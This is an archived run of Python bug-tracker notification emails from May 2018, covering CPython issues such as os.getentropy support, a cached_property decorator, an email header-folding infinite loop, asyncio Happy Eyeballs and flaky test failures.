(GH-6747) https://github.com/python/cpython/commit/d8dcd57edb88ce57063e5c2b85fe0ee1abb1ce8b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 18:08:43 2018 From: report at bugs.python.org (David Carlier) Date: Tue, 15 May 2018 22:08:43 +0000 Subject: [issue33528] os.getentropy support Message-ID: <1526422123.3.0.682650639539.issue33528@psf.upfronthosting.co.za> Change by David Carlier : ---------- components: Library (Lib) nosy: David Carlier priority: normal pull_requests: 6558 severity: normal status: open title: os.getentropy support versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 18:09:13 2018 From: report at bugs.python.org (Lady Red) Date: Tue, 15 May 2018 22:09:13 +0000 Subject: [issue21475] Support the Sitemap extension in robotparser In-Reply-To: <1399858557.27.0.633505879036.issue21475@psf.upfronthosting.co.za> Message-ID: <1526422153.14.0.682650639539.issue21475@psf.upfronthosting.co.za> Lady Red added the comment: Sorry, wrong PR number. it is 6883, and attached to this ticket ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 18:11:23 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Tue, 15 May 2018 22:11:23 +0000 Subject: [issue33503] use pypi.org instead of pypi.python.org In-Reply-To: <1526410718.37.0.682650639539.issue33503@psf.upfronthosting.co.za> Message-ID: <1526422283.43.0.682650639539.issue33503@psf.upfronthosting.co.za> Change by St?phane Wirtel : ---------- pull_requests: +6559 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 18:21:30 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 15 May 2018 22:21:30 +0000 Subject: [issue33451] Start pyc file lock the file In-Reply-To: <1525898638.9.0.682650639539.issue33451@psf.upfronthosting.co.za> Message-ID: <1526422890.04.0.682650639539.issue33451@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- nosy: +brett.cannon, eric.snow, ncoghlan, paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 19:35:15 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 15 May 2018 23:35:15 +0000 Subject: [issue33519] Should MutableSequence provide .copy()? In-Reply-To: <1526396967.72.0.682650639539.issue33519@psf.upfronthosting.co.za> Message-ID: <1526427315.52.0.682650639539.issue33519@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > Should we add .copy() to the ABC or remove the promise that all mutable sequences implement .copy()? The second option would be best. Let's just clarify that copy() isn't part of the MutableSequence API. The first option isn't really a choice be it would break existing uses that don't implement copy and because the ABC have a reliable way to create a new instance using the given abstract methods (it has no way of even knowing whether the data is stored locally, in a database, or updated through a REST API, it may not even be possible to reliably create an independent instance). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 19:51:12 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 15 May 2018 23:51:12 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1526428272.93.0.682650639539.issue32216@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +6560 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 19:55:40 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 15 May 2018 23:55:40 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526428540.64.0.682650639539.issue21145@psf.upfronthosting.co.za> Raymond Hettinger added the comment: FWIW, over the past decade, I've used variants of CachedProperty a number of times and have often had issues that later required messing with its internals (needing a way to invalidate or clear the cache, mock patching the underlying function for testing, consistency between multiple cached properties cached in different threads, inability to run the method through a debugger, inadvertently killing logging or other instrumentation, moving the cache valued from an instance variables to an external weakref dictionary etc). I proposed the idea of a CachedProperty in descriptor tutorials over a decade ago. Since then, I've grown wary of the idea of making them available for general use. Instead, we're better with a recipe that someone can use to build their understanding and then customize as necessary. The basic recipe is simple so there isn't much of a value add by putting this in the standard library. If we want to add another property() variant, the one I've had the best luck with is CommonProperty() which lets you re-use the same getter and setter methods for multiple properties (the name of the property variable gets passed in as the first argument). ---------- versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 20:10:50 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 16 May 2018 00:10:50 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526429450.12.0.682650639539.issue29706@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 1b0d65fa102fae087254009f6d9903b1d4257d78 by Terry Jan Reedy in branch '3.6': [3.6] bpo-29706: IDLE now colors async and await as keywords in 3.6. (#6879) https://github.com/python/cpython/commit/1b0d65fa102fae087254009f6d9903b1d4257d78 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 20:12:28 2018 From: report at bugs.python.org (radical164) Date: Wed, 16 May 2018 00:12:28 +0000 Subject: [issue33529] Infinite loop on folding email if headers has no spaces Message-ID: <1526429548.63.0.682650639539.issue33529@psf.upfronthosting.co.za> New submission from radical164 : I just reported a bug about email folding at issue 33524, but this issue is more fatal in some languages like Chinese or Japanese, which does not insert spaces between each words. Python 3.6.5 has this issue, while 3.6.4 does not. Create an email with longer header than max_line_length set by its policy. And the header contains non-ascii characters but no white spaces. When try to fold it, python gets stuck and finally system hangs. There are no output unless I stop it with Ctrl-C. ^CTraceback (most recent call last): File "emailtest.py", line 7, in policy.fold("Subject", msg["Subject"]) File "/usr/lib/python3.6/email/policy.py", line 183, in fold return self._fold(name, value, refold_binary=True) File "/usr/lib/python3.6/email/policy.py", line 205, in _fold return value.fold(policy=self) File "/usr/lib/python3.6/email/headerregistry.py", line 258, in fold return header.fold(policy=policy) File "/usr/lib/python3.6/email/_header_value_parser.py", line 144, in fold return _refold_parse_tree(self, policy=policy) File "/usr/lib/python3.6/email/_header_value_parser.py", line 2651, in _refold_parse_tree part.ew_combine_allowed, charset) File "/usr/lib/python3.6/email/_header_value_parser.py", line 2735, in _fold_as_ew ew = _ew.encode(first_part) File "/usr/lib/python3.6/email/_encoded_words.py", line 215, in encode blen = _cte_encode_length['b'](bstring) File "/usr/lib/python3.6/email/_encoded_words.py", line 130, in len_b groups_of_3, leftover = divmod(len(bstring), 3) KeyboardInterrupt Code to reproduce: from email.message import EmailMessage from email.policy import default policy = default # max_line_length = 78 msg = EmailMessage() msg["Subject"] = "?"*100 policy.fold("Subject", msg["Subject"]) No problems in following cases: 1. If the header is shorter than max_line_length. 2. If the header can be split with spaces and the all chunk is shorter than max_line_length. 3. If the header is fully composed with ascii characters. In this case, there is no problem even if it is very long without spaces. ---------- components: email messages: 316747 nosy: barry, r.david.murray, radical164 priority: normal severity: normal status: open title: Infinite loop on folding email if headers has no spaces type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 20:13:58 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 16 May 2018 00:13:58 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526429638.61.0.682650639539.issue33499@psf.upfronthosting.co.za> Raymond Hettinger added the comment: FWIW, I've had issues with environment variables in that they affect every version of Python running on a system and seem to defy isolation. So, if one application needs the environment variable set, it will affect every application, even if it wants to keeps its contents private and not leak outside of a virtual environment. Can your needs be met with just CLI flag rather than a system-wide environment variable? ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 20:27:41 2018 From: report at bugs.python.org (Jelle Zijlstra) Date: Wed, 16 May 2018 00:27:41 +0000 Subject: [issue33519] Should MutableSequence provide .copy()? In-Reply-To: <1526396967.72.0.682650639539.issue33519@psf.upfronthosting.co.za> Message-ID: <1526430461.49.0.682650639539.issue33519@psf.upfronthosting.co.za> Jelle Zijlstra added the comment: Makes sense. I can provide a patch to the docs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 20:48:21 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 00:48:21 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526431701.24.0.682650639539.issue30928@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 3d484435d261ef6e3204902f50778b545428dd7e by Miss Islington (bot) in branch '3.7': bpo-30928: Update idlelib/NEWS.txt to 2018-05-14. (GH-6873) https://github.com/python/cpython/commit/3d484435d261ef6e3204902f50778b545428dd7e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 21:02:12 2018 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 16 May 2018 01:02:12 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1526421367.89.0.682650639539.issue32769@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: (1) The word "stores" in this paragraph: A metadata value associated with a global variable, a class attribute or a function or method parameter or return value, that stores a type hint. (2) The description of how annotations are stored in __annotations__ in the following paragraph. (3) The omission of local variables from the lists of things in those paragraphs that can be annotated (those are the only category whose annotation is not stored at runtime). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 21:10:23 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Wed, 16 May 2018 01:10:23 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526433023.73.0.682650639539.issue32769@psf.upfronthosting.co.za> Andr?s Delfino added the comment: I'm sorry, because of your comment, I believe you haven't read the last update on the PR. Could you take a look at it? https://github.com/python/cpython/pull/6829 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 21:14:53 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 01:14:53 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526433293.42.0.682650639539.issue30928@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 47793dec38b9485601a1b2fae90d5f19c3442434 by Miss Islington (bot) in branch '3.6': bpo-30928: Update idlelib/NEWS.txt to 2018-05-14. (GH-6873) https://github.com/python/cpython/commit/47793dec38b9485601a1b2fae90d5f19c3442434 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 21:38:52 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 16 May 2018 01:38:52 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526434732.21.0.682650639539.issue29706@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 21:54:36 2018 From: report at bugs.python.org (Eryk Sun) Date: Wed, 16 May 2018 01:54:36 +0000 Subject: [issue19124] os.execv executes in background on Windows In-Reply-To: <1380451602.11.0.517013085188.issue19124@psf.upfronthosting.co.za> Message-ID: <1526435676.5.0.682650639539.issue19124@psf.upfronthosting.co.za> Eryk Sun added the comment: The exec functions provided by the Windows C runtime really are practically useless, due to creating an orphaned process, disrupting synchronous operation, and returning the wrong status code. It might be more useful for Python 3.7.x to implement an internal win32_execv[e] function that calls _wspawnv[e] with _P_NOWAIT mode. Assign the child process to a silent-breakaway, kill-on-close Job. Wait for it to end, and exit with the child's status code. ---------- nosy: +eryksun versions: +Python 3.7, Python 3.8 -Python 2.7, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 21:55:52 2018 From: report at bugs.python.org (Eryk Sun) Date: Wed, 16 May 2018 01:55:52 +0000 Subject: [issue19124] os.execv executes in background on Windows In-Reply-To: <1380451602.11.0.517013085188.issue19124@psf.upfronthosting.co.za> Message-ID: <1526435752.03.0.682650639539.issue19124@psf.upfronthosting.co.za> Change by Eryk Sun : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 22:11:16 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 16 May 2018 02:11:16 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526436676.92.0.682650639539.issue30928@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- pull_requests: +6561 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 22:44:30 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 02:44:30 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526438670.53.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: New changeset 2a7bacbd913cf2bf568b3c0f85a758946d3cf4e9 by Eric V. Smith in branch 'master': bpo-33453: Handle string type annotations in dataclasses. (GH-6768) https://github.com/python/cpython/commit/2a7bacbd913cf2bf568b3c0f85a758946d3cf4e9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 22:45:40 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 02:45:40 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526438740.87.0.682650639539.issue33453@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6562 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 22:54:12 2018 From: report at bugs.python.org (devala) Date: Wed, 16 May 2018 02:54:12 +0000 Subject: [issue33496] Accept Pathlib paths for sqlite file In-Reply-To: <1526307862.09.0.682650639539.issue33496@psf.upfronthosting.co.za> Message-ID: <1526439252.13.0.682650639539.issue33496@psf.upfronthosting.co.za> devala added the comment: Resolved in 3.7. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 22:56:28 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Wed, 16 May 2018 02:56:28 +0000 Subject: [issue33530] Implement Happy Eyeball in asyncio Message-ID: <1526439388.6.0.682650639539.issue33530@psf.upfronthosting.co.za> New submission from twisteroid ambassador : Add a Happy Eyeballs implementation to asyncio, based on work in https://github.com/twisteroidambassador/async_stagger . Current plans: - Add 2 keyword arguments to loop.create_connection and asyncio.open_connection. * delay: Optional[float] = None. None disables happy eyeballs. A number >= 0 means the delay between starting new connections. * interleave: int = 1. Controls reordering of resolved IP addresses by address family. - Optionally, expose the happy eyeballs scheduling helper function. * It's currently called "staggered_race()". Suggestions for a better name welcome. * Should it belong to base_events.py, some other existing file or a new file? ---------- components: asyncio messages: 316757 nosy: Yury.Selivanov, asvetlov, twisteroid ambassador, yselivanov priority: normal severity: normal status: open title: Implement Happy Eyeball in asyncio type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 22:58:04 2018 From: report at bugs.python.org (Carl Meyer) Date: Wed, 16 May 2018 02:58:04 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526439484.66.0.682650639539.issue33499@psf.upfronthosting.co.za> Carl Meyer added the comment: Environment variable seems to make a bit more sense for this, since it's not per-invocation; there's no point writing bytecode cache to a particular location unless the next invocation reads the cache from there. Our use case includes a webserver process that embeds Python; I'm not sure if we could pass a CLI arg to it or not. Python has lots of precedent for similar environment variables (e.g. `PYTHONHOME`, `PYTHONDONTWRITEBYTECODE`, `PYTHONPATH`, etc). Compared to those, `PYTHONBYTECODEPATH` is pretty much harmless if it "leaks" to an unintended process. I asked Brett Cannon in the sprints if I should add a CLI flag in addition to the env var; he suggested it wasn't worth it. I'm not opposed to adding the CLI flag, but I think removing the env var option would be a mistake. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 22:59:45 2018 From: report at bugs.python.org (Carl Meyer) Date: Wed, 16 May 2018 02:59:45 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526439585.02.0.682650639539.issue33499@psf.upfronthosting.co.za> Carl Meyer added the comment: > a system-wide environment variable Environment variables aren't system-wide, they are per-process (though they can be inherited by child processes). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 23:13:03 2018 From: report at bugs.python.org (Carl Meyer) Date: Wed, 16 May 2018 03:13:03 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526440383.14.0.682650639539.issue21145@psf.upfronthosting.co.za> Carl Meyer added the comment: > a way to invalidate or clear the cache This is already supported by the simple implementation in the patch, it's spelled `del obj.the_cached_property`. > mock patching the underlying function for testing This is easy to do with the current implementation, you can replace the cached-property descriptor on the class with `mock.patch`. > consistency between multiple cached properties cached in different threads The patch attached here is already thread-safe and will be consistent between threads. > inability to run the method through a debugger If you `s` in the Python debugger on a line where a property or cached property is accessed, you will step into the decorated method. I've done this often, so I'm not sure what the issue would be here. > moving the cache valued from an instance variables to an external weakref dictionary This would be a totally different descriptor that doesn't share much implementation with the one proposed here, so I don't see how providing the common version inhibits anyone from writing something different they need for their case. > The basic recipe is simple so there isn't much of a value add by putting this in the standard library. It's simple once you understand what it does, but it's quite subtle in the way it relies on priority order of instance-dict attributes vs non-data descriptors. My experience over the past decade is different from yours; I've found that the simple `cached_property` proposed here is widely and frequently useful (basically it should be the preferred approach anytime an object which is intended to be immutable after construction has some calculated properties based on its other attributes), and additional complexity is rarely if ever needed. I think the wide usage of the version proposed here (without extensions) in code in the wild bears this out. Likely a main reason there hasn't been a stronger push to include this in the standard library sooner is that so many people are just using it from `django.utils.functional.cached_property` today. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 23:42:46 2018 From: report at bugs.python.org (pyneda) Date: Wed, 16 May 2018 03:42:46 +0000 Subject: [issue33403] asyncio.tasks.wait does not allow to set custom exception when return_when=FIRST_EXCEPTION Message-ID: <1526442166.13.0.682650639539.issue33403@psf.upfronthosting.co.za> New submission from pyneda : A possible use case (that at least I couldn't find how to solve) is the possibility to cancel a bunch of futures/coroutine objects which are being awaited using asyncio.tasks.wait() by one of the running coroutines when a task succeded or a specific condition happens by just raising an specific exception. At the moment this can be done but it will cancel all the coroutines with any exception that is raised and at some occasions this may not be desired. A simple example: async def example(num): if x == 5: raise Exception('Exception that does not cancel') elif x == 15: raise CancelException() tasks = [asyncio.ensure_future(example(x)) for x in range(20)] done, pending = await asyncio.wait(tasks, return_when=FIRST_EXCEPTION, return_on=CancelException) This wouldn't cancel everything when a normal exception is raised, instead it will when the exception raised is the one that the user expects to be raised in order to cancel everything that is pending. In addition, if the user does not specify the Exception type, it uses default Exception so it would keep working exactly as now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 00:22:15 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 04:22:15 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526444535.86.0.682650639539.issue33453@psf.upfronthosting.co.za> miss-islington added the comment: New changeset c73268aad7645a146b3e0e088c198a1fb74d57ff by Miss Islington (bot) in branch '3.7': bpo-33453: Handle string type annotations in dataclasses. (GH-6768) https://github.com/python/cpython/commit/c73268aad7645a146b3e0e088c198a1fb74d57ff ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 00:49:39 2018 From: report at bugs.python.org (Eitan Adler) Date: Wed, 16 May 2018 04:49:39 +0000 Subject: [issue13590] extension module builds fail with python.org OS X installers on OS X 10.7 and 10.6 with Xcode 4.2 In-Reply-To: <1323724978.51.0.015987933964.issue13590@psf.upfronthosting.co.za> Message-ID: <1526446179.45.0.682650639539.issue13590@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 01:05:11 2018 From: report at bugs.python.org (Berker Peksag) Date: Wed, 16 May 2018 05:05:11 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526447111.67.0.682650639539.issue28167@psf.upfronthosting.co.za> Berker Peksag added the comment: Adding ?ukasz since he is the release manager of Python 3.8. ---------- components: +Library (Lib) nosy: +lukasz.langa type: -> enhancement versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 01:10:02 2018 From: report at bugs.python.org (Eitan Adler) Date: Wed, 16 May 2018 05:10:02 +0000 Subject: [issue33473] build system incorrectly handles CC, CFLAGS, LDFLAGS, and related. In-Reply-To: <1526144457.86.0.682650639539.issue33473@psf.upfronthosting.co.za> Message-ID: <1526447402.34.0.682650639539.issue33473@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6563 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 01:37:24 2018 From: report at bugs.python.org (Paul Goins) Date: Wed, 16 May 2018 05:37:24 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1526449044.68.0.682650639539.issue33355@psf.upfronthosting.co.za> Paul Goins added the comment: If we consider this to be the new normal... What about increasing the timeout to accomodate? From what I could gather, builds were running around 13 minutes or so before the changes, so the timeout wasn't much above actual exec time to begin with. Maybe bump the timeout up to 20, maybe even 30 minutes? (Granted, I don't know the intent of the timeout: whether it was intended to capture sudden performance delays like this in case of adverse code changes, or whether 15 minutes simply "sounded good" and thus was set.) I know that for my own projects I would be reluctant to suggest the above; it seems better to dig in and understand why there was such a jump in exec time on test_io. But without having access to the build agents nor having an environment handy which reproduces the issue, this is the best suggestion I can come up with to move this towards resolution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 01:58:19 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Wed, 16 May 2018 05:58:19 +0000 Subject: [issue33512] use more standard approach for detecting long double in configure In-Reply-To: <1526354095.19.0.682650639539.issue33512@psf.upfronthosting.co.za> Message-ID: <1526450299.66.0.682650639539.issue33512@psf.upfronthosting.co.za> Benjamin Peterson added the comment: New changeset 3055c947f98a078bd10d6a8cc352048a1b771d60 by Benjamin Peterson (Eitan Adler) in branch 'master': closes bpo-33512: use standard for detecting long double (GH-6847) https://github.com/python/cpython/commit/3055c947f98a078bd10d6a8cc352048a1b771d60 ---------- nosy: +benjamin.peterson resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:05:03 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Wed, 16 May 2018 06:05:03 +0000 Subject: [issue33528] os.getentropy support Message-ID: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> New submission from Benjamin Peterson : Why isn't os.urandom sufficient? ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:23:09 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 16 May 2018 06:23:09 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526451789.99.0.682650639539.issue33528@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: AFAIK os.urandom is implemented via getentropy() if it is the most preferable source of randomness. See Python/bootstrap_hash.c and PEP 524 for details. ---------- nosy: +rhettinger, serhiy.storchaka, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:26:08 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 06:26:08 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526451968.56.0.682650639539.issue33528@psf.upfronthosting.co.za> STINNER Victor added the comment: "os.getentropy support" David Carlier: Would you mind to elaborate a little bit? This feature request is a little bit short. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:26:30 2018 From: report at bugs.python.org (Eitan Adler) Date: Wed, 16 May 2018 06:26:30 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526451990.02.0.682650639539.issue33528@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:27:56 2018 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Wed, 16 May 2018 06:27:56 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526452076.13.0.682650639539.issue28167@psf.upfronthosting.co.za> Marc-Andre Lemburg added the comment: Hi Petr, I'm fine with this. Maintaining the necessary logic Python is not really possible in the stdlib. It's better to have a PyPI module for this which can be updated much more easily. Thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:29:52 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 06:29:52 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI Message-ID: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> New submission from STINNER Victor : https://travis-ci.org/python/cpython/jobs/379560387 ====================================================================== FAIL: test_stdin_broken_pipe (test.test_asyncio.test_subprocess.SubprocessFastWatcherTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/travis/build/python/cpython/Lib/test/test_asyncio/test_subprocess.py", line 214, in test_stdin_broken_pipe self.loop.run_until_complete, coro) AssertionError: (, ) not raised by run_until_complete ====================================================================== FAIL: test_stdin_broken_pipe (test.test_asyncio.test_subprocess.SubprocessSafeWatcherTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/travis/build/python/cpython/Lib/test/test_asyncio/test_subprocess.py", line 214, in test_stdin_broken_pipe self.loop.run_until_complete, coro) AssertionError: (, ) not raised by run_until_complete It looks like bpo-30382 which has been closed because it disappears from "AMD64 FreeBSD CURRENT Non-Debug 3.x", but this bug was already random. ---------- components: Tests, asyncio messages: 316770 nosy: asvetlov, vstinner, yselivanov priority: normal severity: normal status: open title: test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:30:24 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 16 May 2018 06:30:24 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI Message-ID: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> New submission from STINNER Victor : https://travis-ci.org/python/cpython/jobs/379560387 ====================================================================== ERROR: test_ignore (test.test_multiprocessing_forkserver.TestIgnoreEINTR) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/travis/build/python/cpython/Lib/test/_test_multiprocessing.py", line 4359, in test_ignore os.kill(p.pid, signal.SIGUSR1) ProcessLookupError: [Errno 3] No such process ---------- components: Tests messages: 316771 nosy: vstinner priority: normal severity: normal status: open title: test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:32:28 2018 From: report at bugs.python.org (Eitan Adler) Date: Wed, 16 May 2018 06:32:28 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1526452348.67.0.682650639539.issue33531@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 02:39:16 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 16 May 2018 06:39:16 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526452756.12.0.682650639539.issue30928@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 8fa36b6be47356f8e42a8bd0b3dba24a8fbd6c35 by Terry Jan Reedy in branch '3.6': bpo-30928: update idlelib/NEWS.txt for 3.6. (#6888) 